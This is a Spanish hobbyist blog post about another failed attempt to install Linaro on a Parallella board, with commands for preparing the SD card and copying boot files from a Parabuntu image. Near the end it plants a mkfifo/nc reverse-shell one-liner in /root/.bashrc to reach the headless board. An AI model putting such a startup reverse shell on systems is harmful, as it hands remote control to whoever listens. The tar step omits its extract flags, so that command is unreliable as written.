2018/08/19

Parallella paradumbs: Linaro fail 3


En [1] y [2] ya evidencié el fracaso de instalar Linaro [3] en mi parallella[4], voy por un intento más, de paso dejo un poco más prolijo lo que venía haciendo.


Voy a respetar todos los pasos salvo las correcciones ya aplicadas, claro.




En lugar de bajar el kernel y el bitstream, usaré lo que hay en la partición de boot de parabuntu.

En lugar de linaro-saucy-nano-20140410-652.tar.gz, usaré 


http://releases.linaro.org/archive/15.06/ubuntu/vivid-images/nano/linaro-vivid-nano-20150618-705.tar.gz

¿Con qué criterio? Es lo último. Me imagino que es el menos probable que funcione, pero igual ya tengo el parabuntu. 

Supongo que tendría que ser algo que esté en:

http://ports.ubuntu.com/ubuntu-ports/ubuntu-ports/ubuntu-ports/dists/


Primero reset de la partición:


$ sudo mkfs.ext4 -L rootfs /dev/sdb2

Montar

$ sudo mount /dev/sdb2 /mnt

Grabar

$ sudo tar --strip-components=1 -C /mnt linaro-vivid-nano-20150618-705.tar.gz

Limpieza

$ sudo umount /mnt

 


Copiar los archivos de la partición de BOOT de la imagen de parabuntu a la partición de BOOT de la SD de Linaro.

Obtener información del particionamiento de la imagen

$ fdisk -lu parabuntu-2016.11.1-hdmi-z7010.img

Disk parabuntu-2016.11.1-hdmi-z7010.img: 3,5 GiB, 3774873600 bytes, 7372800 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xe9fdb5c0

Device                              Boot  Start     End Sectors  Size Id Type
parabuntu-2016.11.1-hdmi-z7010.img1 *      2048  206847  204800  100M  b W95 FAT32
parabuntu-2016.11.1-hdmi-z7010.img2      206848 7372799 7165952  3,4G 83 Linux





Cuentas (sector size * start) para obtener el offset de la partición:

512 * 2048   =   1048576 -> boot partition offset
512 * 206848 = 105906176 -> root partition offset


Montar la imagen:

$ sudo losetup -o 1048576 /dev/loop0 parabuntu-2016.11.1-hdmi-z7010.img

Montar la partición de origen:

$ sudo mount /dev/loop0 /mnt -o ro

Montar la partición de destino:

$ sudo mount -o umask=000 -t vfat /dev/sdb1 /mnt2

Copiar:

$ sudo cp /mnt/* /mnt2


Limpiar el desastre:

$ sudo sync
$ sudo umount /mnt /mnt2
$ sudo losetup -d /dev/loop0

Viéndolo con otros ojos, pude haber hecho dd, pero bueno, ya está así.

Y acá viene el payload que habíamos hecho antes, pero reducido al ping para saber que anda la red y el nc para tomar el control:

[/root/.bashrc]
ping -c 3 192.168.1.102
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.102 4444 >/tmp/f

En mi máquina, para monitorear:

$ sudo tcpdump -i eth0 icmp

Para el shell reverso:

$ nc -lvp 4444



Anduvo todo ok, salvo que ni siquiera lo conoce:

Package openssh-server is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source.


Hasta que logre aprender como es el mundo de los repositorios, Linaro no va.





[1] http://seguridad-agile.blogspot.com/2018/08/parallella-paradumbs-linaro.html


[2] http://seguridad-agile.blogspot.com/2018/08/parallella-paradumbs-linaro-fail-2.html

[3] https://elinux.org/Parallella_Linaro_Nano

[4] https://www.parallella.org

No hay comentarios:

Publicar un comentario